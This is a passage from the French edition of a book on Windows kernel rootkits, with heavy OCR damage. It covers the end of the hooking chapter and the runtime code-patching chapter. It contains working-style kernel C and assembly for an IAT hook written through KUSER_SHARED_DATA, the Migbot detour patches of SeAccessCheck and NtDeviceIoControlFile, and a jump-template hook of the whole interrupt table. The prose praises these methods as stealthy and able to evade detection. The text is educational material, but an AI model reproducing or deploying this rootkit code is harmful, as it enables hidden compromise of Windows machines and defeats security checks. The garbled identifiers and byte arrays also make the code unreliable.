protection peut aisment dtecter. Cependant, il existe une zone du noyau dans
laquelle il est possible dcrire et qui sera mappe dans lespace dadressage de chaque
processus. Cette technique est dcrite par Barnaby Jack dans son article "Remote
Windows Kernel Exploitation: Step into the Ring O" 1. Elle tire parti du fait que deux
adresses virtuelles peuvent correspondre la mme adresse physique. Ladresse du
noyau 0xFFDF0000 et ladresse utilisateur 0X7FFE0000 pointent toutes deux vers la mme
page physique. La premire supporte les critures mais pas la seconde. Le rootkit peut
donc crire du code sur ladresse du noyau et sy rfrer en tant quadresse utilisateur
dans le hook de lIAT.
La taille de cette zone partage est de 4 Ko. Bien que le noyau utilise une partie de cet
espace, le rootkit devrait disposer denviron 3 Ko pour son code et ses variables.

1. B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal. : eEye Digital
Security,
2005),
disponible
sur
:
http://www.eeye.com/~data/publish/whitepapers/research/
OT20050205.FILE.pdf.

Infiltrations du noyau Windows

128 Rootkits

Le nom de cette zone est KUSER SHARED


nt !_KUSER_SHARED_DATA dans WinDbg.

DATA.

Pour en savoir plus son sujet, tapez

dt

Pour illustrer une opration dcriture dans KUSER_SHARED_DATA, nous crirons huit
octets sur ladresse que nous nommerons d_sharedK. Pour le premier octet, qui est un
opcode, nous utilisons une instruction NOP. Une instruction INT 3 (break) peut tre
employe la place pour observer le comportement, auquel cas un debuggeur en cours
dexcution sera ncessaire pour lintercepter. Les sept octets suivants concernent le
placement dune adresse de rserve dans EAX et un saut cette adresse. Lorsque le
rootkit trouve LIAT de la fonction hooker, il remplace cette adresse par ladresse
dorigine de la fonction. Le rootkit devrait en fait crire en mmoire une fonction
beaucoup plus avance pour pouvoir rellement filtrer le rsultat dune fonction, mais
cela dpasse le cadre de ce chapitre.
DWORD d_sharedM = 0x7ffe0800; // Une adresse utilisateur
DWORD d_sharedK = 0xffdf0800; // Une adresse du noyau //
Petit dtour unsigned char new_code[] = {
0x90,
// NOP ou INT 3 pour observer
0xb8, 0xff, 0xff, 0xff, 0xff, // mov eax, Oxffffffff
0xff, 0xe0
// jmp eax

};
if (!gb_Hooked)

{
// L'criture des opcodes bruts en mmoire // utilise
une adresse du noyau qui est mappe // dans l'espace
d'adressage de tous les processus.
// Mes remerciements Barnaby Jack.
RtlCopyMemory((PVOID)d_sharedK, new_code, 8);
// pd_IAT[index] contient l'adresse d'origine
RtlCopyMemory((PVOID)(d_sharedK+2),(PVOID)&pd_IAT[index], 4); gb_Hooked =
TRUE;

Rootkit.com

. _ . |- . ;
Vous trouverez le code de cet exemple de hook hybride ladresse
www.rootkit.com/vault/fuzen_op/HybridHook.zip.

Vous disposez prsent dun modle de rootkit hybride qui hooke des adresses
utilisateur mais le fait partir dun driver du noyau. A linstar de la plupart des
techniques exposes dans ce livre, vous pourriez utiliser cette technique pour crire un
rootkit ou hooker des fonctions potentiellement dangereuses, assurant ainsi une

Chapitre 4

L'art du hooking 129

couche de protection supplmentaire. En fait, nombre des logiciels de protection


appellent PsSetlmageLoadNotifyRoutine.

Conclusion
Ce chapitre a fourni de nombreuses informations sur le hooking de tables de pointeurs
de fonctions, la fois dans le mode utilisateur et dans le mode noyau. Les hooks du
noyau sont prfrables car, si un programme de dtection/protection recherche votre
rootkit, vous pouvez exploiter toute la puissance du noyau pour y chapper ou le
neutraliser. Un accs de niveau noyau offre de nombreux emplacements pour se cacher
de ladversaire ou le battre. Etant donn que la furtivit est un objectif principal dun
rootkit, un filtrage, quel quil soit, est ncessaire.
Le hooking est une technique double facette. Elle est employe par de nombreux
rootkits publics et dautres programmes malveillants, mais elle est aussi utilise par
des logiciels antivirus et dautres produits de protection dhte.

5
Patching lors de lexcution
Pour te trouver, Louis, il me suffit de suivre les cadavres de rats.
- Entretien avec un vampire, Anne Rice

Les hooks dappels et autres mthodes de modification de la logique des programmes


sont des armes certainement puissantes, mais ce sont danciennes techniques dj bien
documentes et facilement dtectables par les technologies antirootkit. Le patching
lexcution offre un moyen plus discret datteindre les mmes rsultats. La technique
nest pas rellement nouvelle, mais les informations publies sur les rootkits ne la
dcrivent pas. La plupart des informations relatives aux patchs de code remontent
lpoque o le piratage de logiciels laide de cracks faisait la une.
Applique aux rootkits, le patching de code lexcution est lune des techniques les
plus avances qui soient. Elle permet de concevoir des rootkits indtectables, mme
face des systmes anti-intrusion modernes. Si vous lassociez des manipulations
matrielles de bas niveau, comme avec des tables de pages, vous obtenez un cocktail
redoutable la pointe du progrs en matire de rootkit.
La logique des programmes peut tre modifie de plusieurs faons. La plus vidente
est de changer le code source et de le recompiler, ce que font usuellement les
dveloppeurs. Une autre faon de faire est de changer directement les bits et les octets
tels quils apparaissent aprs la compilation dans le fichier binaire.

132 Rootkits

Infiltrations du noyau Windows

Cest la technique de base utilise par les crackers pour retirer la protection des
logiciels. Une troisime mthode consiste changer, lors de lexcution, les donnes
de structures en mmoire qui contrlent la logique dun programme. Un bon exemple
dapplication de cette mthode sont les games-trainers, qui modifient les jeux pour
octroyer au joueur des crdits ou des ressources supplmentaires.
Modifier la logique dun programme est simple en comparaison de la rcriture ou du
remplacement de fichiers sur le systme par des fichiers de priphriques troyens. En
manipulant quelques octets ici et l, la plupart des fonctions de scurit peuvent tre
dsactives. Il faut bien sr pouvoir accder la mmoire o rsident ces fonctions.
Puisque les rootkits peuvent oprer partir du noyau, ils disposent dun accs complet
lespace de mmoire de lordinateur. Ce nest donc gnralement pas un problme.
Vous allez dcouvrir dans ce chapitre comment changer la logique dun programme
laide dune des mthodes les plus puissantes disponibles : le patching direct doctets
de code. Vous apprendrez galement la combiner dautres mthodes plus
puissantes, telles que le patching de dtour et les modles de saut. Ensemble, elles
permettent de produire des rootkits dangereux et difficiles dtecter.

Le patching de dtour
Nous avons vu au Chapitre 4 la puissance que procurent les hooks dappels de
fonctions pour changer le comportement de fonctions. Un inconvnient de ces
techniques est quelles altrent les tables dappels, ce qui peut tre dtect par les
technologies antivirus et antirootkit. Une approche plus subtile est de patcher
directement les octets de la fonction en insrant un saut vers le code du rootkit. De
plus, la modification dune seule fonction peut toucher toutes les tables qui pointent
vers elle sans avoir besoin de les traiter individuellement. Cette technique sappelle le
patching de dtour et peut tre utilise pour dtourner le flux de contrle, par exemple
dans le but de contourner une fonctionnalit.
La Figure 5.1 illustre la faon dont le code est insr par le rootkit dans le flux de
contrle.

Chapitre 5

Patching lors de l'excution 133

Figure 5.1
Modification du contrle de flux.

Comme avec un hook dappel, le code du rootkit peut servir changer des arguments
avant et aprs un appel systme ou un appel de fonction. Il est aussi possible de
raliser lappel de fonction comme sil ntait pas patch ou, au contraire, de le
manipuler entirement. Par exemple, faire en sorte quil retourne toujours un certain
code derreur.
Un exemple vous permettra de mieux comprendre. Cette technique requiert plusieurs
tapes que nous allons dtailler dans la section suivante.

Dtournement du flux de contrle au moyen de Migbot


Migbot dtourne le flux de contrle de deux fonctions importantes du noyau : NtDeviceloControlFile et SeAccessCheck.
Rootkit.com
Migbot peut tre tlcharg l'adresse
www.rootkit.com/vault/hoglund/migbot.zip.

134 Rootkits

Infiltrations du noyau Windows

Le dtournement dune fonction ncessite de la localiser en mmoire. Lavantage


davoir ces deux fonctions est quelles sont exportes. Elles sont ainsi plus faciles
localiser car il existe une table dans len-tte PE qui les rfrence. Dans le code de
Migbot, nous nous rfrons simplement aux fonctions par leur nom export. En raison
de leur exportation, il nest pas ncessaire deffectuer une recherche dans len-tte ou
autre action du genre (pour plus de dtails sur la recherche de fonctions dans un en-tte
PE, voir les Chapitres 4 et 10).
Il est plus complexe de patcher une fonction qui nest pas exporte. Cela peut requrir
de chercher en mmoire une squence doctets unique afin de la localiser.
Aprs avoir obtenu un pointeur vers la fonction souhaite, ltape suivante est de
savoir exactement ce quil faut y remplacer. Le changement des codes dopration, ou
opcodes, est destructif. Si vous insrez un saut de type FAR, vous crasez au moins 7
octets en mmoire, dtruisant ainsi toute instruction prsente ces endroits. Vous
devrez alors recrer la logique ou restaurer ces instructions dune manire ou dune
autre.
Lalignement dinstruction pose galement un problme, surtout avec le jeu
dinstruction de larchitecture x86 dIntel. Toutes les instructions ne sont pas de la
mme longueur. Par exemple, celle dune instruction PUSH peut tre de un octet alors
que celle dun JMP peut atteindre sept octets.
Dans notre exemple, nous voulons remplacer sept octets mais linstruction crase
occupe plus de sept octets despace. Par consquent, il en restera un rsidu non patch
reprsentant une instruction corrompue, et le processeur sera confus sil tente de
lexcuter. En dautres termes, il provoquera un plantage et lutilisateur verra
apparatre lcran bleu.
Laisser un reste dinstruction nest donc pas recommand. Pour viter cela, vous devez
utiliser la directive NOP dans lespace restant jusqu la limite dalignement de la
prochaine instruction. Cest une chance que la longueur du code dopration NOP soit
de un octet seulement, ce qui facilite le remplissage octet par octet. En fait, cette
longueur est un choix spcifique de conception pour fournir davantage de souplesse en
cas de patching (en dautres termes, quelquun a dj pens depuis longtemps ce type
de besoin).
La Figure 5.2 illustre le processus de remplacement doctets en mmoire. La nouvelle
instruction, un JMP FAR, est insre avec deux instructions NOP afin de complter le
patch et de ne pas laisser de rsidu dinstruction.

Patching lors de l'excution 135

Chapitre 5

Figure 5.2

Procdure
de
patching
de code.

Octets de la fonction originale

55
PUSH

8B

EC

MOV

53
PUSH

33

DB

XOR

38

5D

24

CMP

Une instruction CMP tronque que nous ne


pouvons laisser en place
Le patch requis

EA

AA

AA

AA

AA

08

00

90

90

NOP NOP

Deux NOP pour combler le patch

Pour russir un patch sans provoquer de corruption, il faut sassurer quil soit appliqu
la bonne version de fonction et au bon endroit en mmoire. Cette tape ncessite une
attention spciale car le programme cible peut avoir fait lobjet de correctifs ou, plus
gnralement, il peut exister diffrentes versions du code. Si aucun contrle de version
nest effectu, le patch risque dtre mal appliqu et de provoquer une corruption avec
un plantage du systme.

Recherche des octets de la fonction


Avant dcraser des octets dune fonction avec une instruction de saut, il faut effectuer
divers contrles pour sassurer quil sagit bien de la fonction voulue. Vrifier son nom
nest pas suffisant. Quen est-il de la version du systme dexploitation ? Que se
passerait-il si ldition, par exemple "familiale" ou "professionnelle", du systme ne
correspondait pas celle pour laquelle le rootkit a t prvu ? Un Service Pack peut
aussi avoir t appliqu et avoir chang la version de la fonction.

136 Rootkits

Infiltrations du noyau Windows

Il est mme possible quun autre programme ait dj patch la fonction, quelle quen
soit la raison. Pour toutes ces raisons et dautres, il faut sassurer de la version de la
fonction avant de procder au patching.
Migbot utilise deux tapes pour contrler les octets de la fonction. La premire extrait
un pointeur vers la fonction et la seconde excute une simple comparaison de la valeur
code en dur que nous nous attendons trouver. Vous pouvez dterminer la valeur des
octets en utilisant Softlce ou un autre debugger de noyau ou en dsassemblant le
fichier binaire au moyen dun outil tel quIDA Pro.
Veillez bien vrifier la longueur de la squence doctets analyse. Dans le code
suivant, une squence est de 8 octets de long et lautre, de 9 octets :
NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()

{
int i=0;
char *p = (char *)NtDeviceIoControlFile;
//Le dbut de la fonction NtDeviceloControlFile //
doit correspondre :
//55 PUSH EBP //8BEC MOV EBP, ESP //6A01 PUSH 01
//FF752C PUSH DWORD PTR [EBP + 2C]
Char C[] = { 0x55, 0x8B, 0xEC, 0x6A, 0X 01, 0xFF, 0X75, 0x20 }; while(i<8)

{
DbgPrint( - 0x%02X ", (unsigned char)p[i]); if(P[i1 != c[i])

return STATUSJJNSUCCESSFUL;

}
i++;

}
return STATUS_SUCCESS;

}
NTSTATUS CheckFunctionBytesSeAccessCheck()

{
int i=0;
char *p = (char *)SeAccessCheck;
// Le dbut de la fonction SeAccessCheck // doit
correspondre :
//55 PUSH EBP //8BEC MOV EBP, ESP //53 PUSH EBX //33DB
XOR EBX, EBX //385D24 CMP [EBP+24], BL
Char C[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };
while(i<9)

{
DbgPrint(" - 0x%02X ", (unsigned char)pli]);

Patching lors de l'excution 137

Chapitre 5

i f(P [i ] != c[i ])
{
return STATUSJJNSUCCESSFUL;

}
i++;
}
return STATUS_SUCCESS;

Garder trace des instructions crases


Une fois que des instructions ont t crases par le patch, elles se sont
irrmdiablement volatilises. Imaginez maintenant quelles soient prvues pour
quelque chose dimportant, comme modifier la pile ou charger des registres. Si vous
souhaitez excuter la fonction originale, il faut pouvoir excuter ces instructions
manquantes.
Puisque nous savons exactement quelles sont les instructions que nous avons
supprimes, nous pouvons les stocker dans un autre emplacement et les excuter avant
de revenir la fonction originale. La Figure 5.3 illustre cette technique.

JMP FAR

Fonction originale

CODE DE ROOTKIT Instructions supprimesJMP FAR (retour)

Les instructions supprimes sont toujours excutes,


mais un autre emplacement.
Figure 5.3

Excution des instructions supprimes.

Aprs lexcution du dtour, Migbot revient simplement la fonction originale. Cest


un modle que vous pouvez utiliser pour insrer nimporte quel code.
Le code de rootkit est crit sous forme dune fonction, mais elle est dclare NACKED.
Ceci empche le compilateur dy placer des opcodes supplmentaires. Cest important
car il ne faut pas corrompre la pile ou un registre. Vous pouvez

138 Rootkits

Infiltrations du noyau Windows

constater partir du code suivant que les instructions manquantes sont excutes et un
saut FAR se produit.
Le code utilis pour le saut mrite une petite remarque. Puisque lors de la conception
il nest pas possible de produire la syntaxe exacte pour le saut FAR avec le
compilateur du DDK, le mot-cl EMIT est utilis la place pour forcer la sortie
doctets. Cest une technique utile, non seulement pour coder une instruction
inconnue, mais aussi dans le cas de code se modifiant lui-mme ou de chanes insres
en dur :
// Les fonctions naked n'ont pas de code de prologue/pilogue.
// Ce sont des fonctionnalits telles que // la cible d'une directive
goto.
_ declspec(naked) my_function_detour_seaccesscheck()

{
_ asm

{
// Excution des instructions manquantes
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+24], bl
// Saut vers le point de retour dans la fonction hooke.
// L'adresse correcte est insre ici //
lors de l'excution.

//

// Nous devons coder un JMP FAR en dur, mais l'assembleur //


fourni avec le DDK ne l'assemblant pas,
// il faut le coder manuellement.
// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA _emit 0xAA _emit
0xAA _emit 0xAA _emit 0xAA
_emit 0x08 _emit 0x00 }

// Nous devons crire cette fonction dans une mmoire non pagine //
avant de placer le dtour. Il semble que les drivers // soient pagins
de temps en temps.
_ declspec(naked) my_function_detour_ntdeviceiocontrolfile()

{
_ asm

{
// Excution des instructions manquantes
push ebp mov ebp, esp

Chapitre 5

Patching lors de l'excution 139

push 0x01
push dwond ptr [ebp+0x2C]
Il Saut au point de retour dans la fonction hooke.
Il L'adresse correcte est insre Il lors de
l'excution.

Il
Il Nous devons coder un JMP FAR en dur, mais l'assembleur Il

fourni avec le DDK ne l'assemblant pas,


Il il faut le coder manuellement.
Il jmp FAR 0X08 :0XAAAAAAAA
_emit 0xEA _emit 0xAA _emit
0xAA _emit 0xAA _emit 0xAA
_emit 0x08 _emit 0x00 }

Utilisation d'une zone mmoire non pagine


Le code de la fonction de rootkit rside dans la mmoire ddie aux drivers. Il na
toutefois pas besoin de rester l, surtout si le driver est paginable. Il doit tre plac
dans une zone de mmoire qui ne sera jamais pagine, dans une section NonPagedPool. Un avantage supplmentaire intressant du placement du code dans cette zone
est que le driver contenant le code pourra tre dcharg puisquil doit rester charg
juste le temps dappliquer le patch. Lexemple de Migbot emploie NonPaged- Pool
pour stocker le code du rootkit comme le fera aussi la technique de modle de saut,
dtaille plus loin dans ce chapitre.

Correction des adresses de substitution l'excution


Vous remarquerez dans le code suivant la prsence dinstructions de saut aux adresses
0xAAAAAAAA et 0x11223344. Ce sont des valeurs de substitution non valides dessein.
Elles doivent tre remplaces par des adresses valides lors du placement du patch en
mmoire. Elles ne peuvent tre codes en dur car elles changent lors de lexcution.
Le rootkit peut dterminer les adresses correctes et les insrer lors de son excution :
VOID DetourFunctionSeAccessCheck()

{
char *actual_function = (char *)SeAccessCheck;
char *non_paged_memory;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;

140 Rootkits

Infiltrations du noyau Windows

Le code suivant viendra craser les instructions originales. Notez lemploi de la


directive NOP pour combler et aligner le patch.
// Assemblage du JMP FAR 0008:11223344 o 11223344
// est l'adresse de notre fonction de dtour plus deux NOP
// pour combler et aligner le patch.
char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11,
0x08, 0x00, 0x90, 0x90 };

Ladresse du point de retour (ou de re-entre) est calcule. Cest ladresse de la


fonction originale qui suit immdiatement lemplacement patch. Notez que nous
avons ajout 9 (la longueur du patch) au pointeur de fonction pour lobtenir :
// Le retour dans la fonction hooke un emplacement // en
aval de l'alignement des opcodes crass // est trs important.
reentry_address = ((unsigned long)SeAccessCheck) + 9;

Une portion de mmoire non pagine, NonPagedPool, est alloue en quantit suffisante
pour stocker le code du rootkit. Celui-ci y est ensuite copi et le patch de dtour sy
dbranchera ensuite. Le contenu du code du rootkit (la fonction NAKED dclare plus
haut) est copi octet par octet dans cette zone et un pointeur vers le dbut du code est
enregistr :
non_paged_memory = ExAllocatePool(NonPagedPool, 256);
// Copie le contenu de la fonction dans une zone de mmoire non pagine //
avec une limite 256 octets.
// (Prenez garde la possibilit d'une lecture au-del de la fin de page
FIXME.)
for(i=0;i<256;i++)

{
((unsigned char *)non_paged_memory)[i] =
((unsigned char *)my_function_detour_seaccesscheck)[i];

}
detour_address = (unsigned long)non_paged_memory;

Ladresse de notre code copi est place dans le patch la place de


quil puisse correctement excuter un JMP FAR vers le rootkit :

0x11223344

pour

// Insre l'adresse cible du JMP FAR


*( (unsigned long *)(&newcode[1]) ) = detour_address;

Une autre correction dadresse. Nous recherchons cette fois ladresse 0xAAAAAAAA pour
la remplacer par ladresse de retour calcule plus haut. Ici aussi, il sagit dune adresse
dans la fonction originale qui suit immdiatement lemplacement patch ;
Il L'adresse du point de retour est insre dans notre Il fonction de dtour,
for(i=0;i<200;i++)

Patching lors de l'excution 141

Chapitre 5

{
if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+1 ]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+3]))

{
// Nous trouvons l'adresses OxAAAAAAAA
// et insrons la place l'adresse correcte.
*( (unsigned long *)(&non_paged_memory[i]) ) =
reentry_address; break;

}
}
// A faire : Elever l'IRQL
// Ecraser les octets dans la fonction du noyau // pour appliquer
le JMP de dtour. for(i=0;i < 9;i++)

{
actual_function[i] = newcode[i];

}
// A faire : Baisser l'IRQL

}
// La mme logique est applique au patch NtDeviceloControl :
VOID DetourFunctionNtDeviceIoControlFile()

{
char *actual_function = (char *)NtDeviceIoControlFile;
char *non_paged_memory;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;
// Assemblage du JMP FAR 0008:11223344 o 11223344 // est
l'adresse de notre fonction de dtour, plus un NOP // pour
aligner le patch.
char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11,
0x08, 0x00, 0x90 };
// Revenir dans la fonction hooke un endroit // en aval de
l'alignement des opcodes crass // est trs important ici.
reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8;
non_paged_memory = ExAllocatePool(NonPagedPool, 256);
// Copie le contenu de notre fonction en mmoire non pagine // avec une
limite 256 octets (prenez garde une lecture possible // au-del de la
fin de page FIXME). for(i=0;i<256;i++)

{
((unsigned char *)non_paged_memory)[i] = ((unsigned char *)
my_function_detour_ntdeviceiocontrolfile)[i];

}
detour_address = (unsigned long)non_paged_memory;
// Insre l'adresse cible du JMP FAR.
*( (unsigned long *)(&newcode[1]) ) = detour_address;

142 Rootkits

Infiltrations du noyau Windows

Il Insre maintenant le JMP de retour Il dans notre fonction


de dtour. for(i=0;i<200;i++)

{
if( (0xAA == ((unsigned char *)non_paged_memory)[i]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+1]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+2]) &&
(0xAA == ((unsigned char *)non_paged_memory)[i+3]))

{
// Nous trouvons l'adresse 0xAAAAAAAA // et la
remplaons par l'adresse correcte.
*( (unsigned long *)(&non_paged_memory[i]) ) =
reentry_address; break;

}
}
// A faire : Elever l'IRQL
// Ecrase les octets dans la fonction de noyau // pour
appliquer le JMP de dtour. for(i=0;i < 8;i++)

{
actual_function[i] = newcode[i];

>
// A faire : Baisser l'IRQL

}
La routine DriverEntry contrle lexactitude des octets de fonction et applique le
patch de dtour :
NTSTATUS DriverEntryf IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )

DbgPrint("My Driver Loaded!'1);


if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceloControlFile())

{
DbgPrint("Match Failure on NtDeviceloControlFile!");
return STATUSJJNSUCCESSFUL;

}
if(STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck())

{
DbgPrint("Match Failure on SeAccessCheck!");
return STATUSJJNSUCCESSFUL;

}
DetourFunctionNtDeviceIoControlFile();
DetourFunctionSeAccessCheckf); return STATUS_SUCCESS;

Chapitre 5

Patching lors de l'excution 143

Vous venez dtudier une technique puissante. Lexemple de code a introduit les
composantes essentielles du patching de dtour. Vous pouvez laborer des fonctions
plus sophistiques partir de ces connaissances fondamentales. Vous vous
familiariserez ainsi avec ces attaques puissantes qui peuvent facilement chapper la
plupart des technologies de dtection.
La prochaine section dcrit en dtail une mthode de patching de code lgrement
diffrente pour hooker la table dinterruptions.

Modles de saut
Nous allons tudier une technique appele modle de saut (jump template). Elle peut
tre utilise de diffrentes faons, mais nous allons lillustrer dans le cas dun hook de
la table dinterruptions.
Lexemple suivant compte le nombre de fois que les interruptions sont appeles. Au
lieu de patcher directement la routine de service (ISR), nous allons crer
spcifiquement un bout de code qui sera excut pour chaque routine. Nous
commencerons par un modle dont nous ferons une centaine de copies, une pour
chaque routine. Cest--dire quau lieu de crer un seul hook nous crerons un hook
individuel pour chaque entre de la table de descripteurs dinterruptions (IDT).

Rootkit.com
L'exemple suivant peut tre tlcharg l'adresse
www.rootkit.com/vault/hoglund/basicJnterrupt_3.zip.

Etant donn que chaque routine de service rside une adresse distincte et que
ladresse de retour sera unique pour chacune delles, nous devons introduire une
nouvelle technique qui permettra chaque entre de la table dtre hooke avec des
dtails de saut spcifiques.
Dans lexemple prcdent, le code de rootkit revenait de lui-mme dans la fonction
originale. Cette mthode fonctionne lorsquil ny a quun seul hook. Au lieu de
recoder la mme fonction des centaines de fois, nous allons utiliser un modle de saut
pour appeler le code du rootkit et revenir dans la fonction originale.
Le modle de saut est rpliqu pour chaque routine dinterruption. Ladresse du J MP
FAR dans chaque copie rplique sera corrige spcifiquement pour chacune delles.

144 Rootkits

Infiltrations du noyau Windows

La Figure 5.4 illustre cette technique. Chaque modle appelle le mme code de rootkit,
qui est dans ce cas trait comme une fonction normale. Une fonction retourne toujours
le contrle lappelant. Nous navons donc pas besoin de nous soucier davoir faire
une correction dadresse dans le code du rootkit lors de lexcution. Dans notre
exemple, le code spcifique contient le numro dinterruption correct pour chaque
routine.
Figure 5.4

L'emploi
d'un
modle de
saut.

Routine d'interruption 1

Un exemple de hook de table d'interruptions


Voici le code prvu pour fonctionner avec la table dinterruptions :
// ---------// HOOK D'INTERRUPTION BASIQUE Partie 3 //
Ce code hooke toute la table

//--------------------#include "ntddk.h"
#include <stdio.h>
// Debugging actif
// #define _DEBUG

Chapitre 5

Patching lors de l'excution 145

#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) ((unsigned


long)
((unsigned short) (b))) 16))
// Dfinition du nombre maximal d'interruptions hooker
#define MAX_IDT_ENTRIES 0x100
// L'interruption o commencer le patching
// pour viter certaines interruptions problmatiques.
// Au dbut de la table (A faire : trouver pourquoi)
#define START_IDT_OFFSET 0X00
unsigned long g_i_count[MAX_IDT_ENTRIES];
unsigned long old_ISR_pointers[MAX_IDT_ENTRIES]; // Vaut mieux //
sauvegarder l'ancien !!! char * idt_detour_tablebase;

///////////////////////////////////////////////////
// Structures de 1'IDT

///////////////////////////////////////////////////
#pragma pack(1)
// Entre dans l'IDT, parfois appele // une porte d'interruption
(interrupt gte), typedef struct {
unsigned short LowOffset;
unsigned short selector; unsigned
char unused_lo;
unsigned char segment_type:4; //0x0E est une porte d'interruption
unsigned char system_segment_flag: 1 ;
unsigned char DPL:2; // Niveau de privilges du descripteur unsigned
char P : 1 ; /* prsent */ unsigned short HiOffset;
> IDTENTRY;
/* sidt retourne l'idt dans ce format */ typedef struct {
unsigned short IDTLimit; unsigned short LowIDTbase; unsigned short
HilDTbase;
} IDTINFO;
#pragma pack()

Le code prcdent comprend le modle de saut. Il sauvegarde dabord tous les


registres, dont le registre de flags. Ceci est trs important. Le modle appelle plus tard
une autre fonction fournie par le rootkit. Aussi, il faut sassurer que rien ne soit
corrompu dans les registres sous peine de provoquer un plantage lors de lappel de la
routine dinterruption originale.
Il existe deux versions du modle de saut selon que nous le compilons dans le mode
avec debugging ou dans celui de production finale. La version avec debugging
nappelle pas le code du rootkit, lappel tant remplac par un NOP. Dans la version
finale, aprs la sauvegarde des registres, lappel se produit et les registres sont

Infiltrations du noyau Windows

146 Rootkits

ensuite restaurs (dans lordre inverse, bien sr). Lappel est dfini sous la forme
STDCALL, ce qui signifie que la fonction se chargera de son nettoyage.
Remarquez le code qui assigne une valeur dans EAX et la place sur la pile. Cette
valeur sera modifie avec le numro dinterruption lors de lexcution de DriverEntry.
Cest de cette faon que le rootkit connat linterruption qui a t appele :
#ifdef _DEBUG
// La version avec debugging annule l'appel du hook par des NOP // Ce
code fonctionne sans plantage, char jump_template[] = {
0x90, //nop, debugging
0x60, //pushad 0x9C,
//pushfd
0xB8,
0xAA, 0x00, 0X00
,
0x90,
//push eax
0x90,
0x90, 0x90, 0x90,
0x90,
//pop eax
0x9D,
//popfd
0x61 , //popad
0xEA, 0 x 1 1 , 0x22, 0x33,
};
#else
char jump_template[] = {
0x90, //nop, debugging
0x60, //pushad 0x9C,
//pushfd
0xAA, 0x00, 0X00,
0xB8,
0x50,
//push eax
0 x 1 1 , 0x22, 0x33,
0x9A,
0x58,
//pop eax
0x9D,
//popfd
0x61 , //popad
0xEA,
0 x 1 1 , 0x22, 0x33,
#endif

0X00, / /mov eax, AAh


0x90, 0x90,

0x90, //call

08:44332211 h

0x44, 0X08,

0x00 / / j mp : 44332211 h
08

0X00, //mov

eax, AAh

0x44, 0x08,

0x00, //call

0x44, 0x08,

0x00 //j mp 08 : 44332211 h

08:44332211 h

Le code suivant illustre la fonction qui est appele pour chaque interruption. La
fonction compte simplement le nombre de fois que chaque interruption est appele.
Le numro dinterruption est pass en tant quargument. Notez lemploi de la fonction de scurit Interlockedlncrement pour incrmenter le compteur dinterruption.
Les compteurs sont stocks en tant que tableaux (arroy) globaux du type long non
sign.
Il L'emploi de stdcall signifie que cette fonction corrige la pile
Il avant de retourner (l'oppos de cdecl).
Il Le numro d'interruption est pass dans EAX
void _ stdcall count_interrupts(unsigned long inumber)

{
Il A faire : peut-il y avoir des collisions ici ?

Chapitre 5

Patching lors de l'excution 147

unsigned long *aCountP; unsigned long aNumber;


Il En raison de l'appel FAR, nous devons corriger le pointeur de base.
Il L'appel FAR place un double DWORD en tant qu'adresse de retour,
Il et je ne sais pas comment le faire comprendre au compilateur
Il qu'il s'agit d'un far stdcall (ou de ce qui est appel).
Il De toute faon :

II
Il [ebp+0Ch] == arg1
II
_ asm mov eax, [ebp+0Ch]
_ asm mov aNumber, eax

Il __ asm int 3
aNumber = aNumber & 0X000000FF;
aCountP = &g_i_count[aNumber];
Interlockedlncrement(aCountP);

>
La routine DriverEntry applique le patch, insre les valeurs de correction et cre les
modles de saut pour chaque entre dans la table des descripteurs de services :
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN
PUNICODE_STRING
theRegistryPath )

{
IDTINFO idt_info; // Cette structure est obtenue
// en appelant STORE IDT (sidt)...
IDTENTRY* idt_entries; // ...et ce pointeur est
// obtenu l'aide d'idt_info.
IDTENTRY* i; unsigned long addr; unsigned long count; char _t[255];
theDriverObject->DriverUnload = OnUnload;

A ce stade, nous initialisons le tableau global, qui conserve le nombre de fois que les
interruptions sont appeles. Le numro dinterruption correspond loffset dans le
tableau :
for(count=START_IDT_OFFSET;count<MAX_IDT_ENTRIES;count++)

{
g_i_count[count]=0 ;

}
// Charge idt_info
asm sidt idt_info
idt_entries = (IDTENTRY*) MAKELONG( idt_info.LowIDTbase,
idt_info.HiIDTbase);

148 Rootkits

Infiltrations du noyau Windows

Les valeurs originales dans la table dinterruptions sont stockes afin de pouvoir les
restaurer ultrieurement lors du dchargement :
////////////////////////////////////////////
// Sauvegarde des anciens pointeurs de l'IDT
//////////////////////////////////////////// for(count=START_IDT_OFFSET;count
< MAX_IDT_ENTRIES;count++)

{
i = &idt_entries[count];
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf( _t, 253, "Interrupt %d: ISR 0x%08X", count, addr);
DbgPrint(_t);
old_ISR_pointers[count] =
MAKELONG( idt_entries[count].LowOffset,
idt_entries[count].HiOffset);

}
A ce stade, suffisamment de mmoire est alloue pour stocker tous les modles de
saut. Ils sont naturellement placs dans une zone NonPagedPool.
///////////////////////////////////////////
// Renseignement du tableau de dtour
///////////////////////////////////////////
idt_detour_tablebase =
ExAllocatePool( NonPagedPool,
sizeof(j ump_template)*256);

La section de code suivante rcupre un pointeur vers chaque emplacement de la table


de sauts dans la zone NonPagedPool, y copie le modle de saut et insre dans le modle
ladresse du point de retour correct ainsi que le numro dinterruption. Ceci est ralis
pour chaque interruption :
for(count=START_IDT_OFFSET;count<MAX_IDT_ENTRIES;count++)

{
int offset = sizeof(jump_template)*count; char
*entry_ptr = idt_detour_tablebase + offset;
// entry_ptr pointe vers le dbut du code de saut dans // dans
la table des dtours.
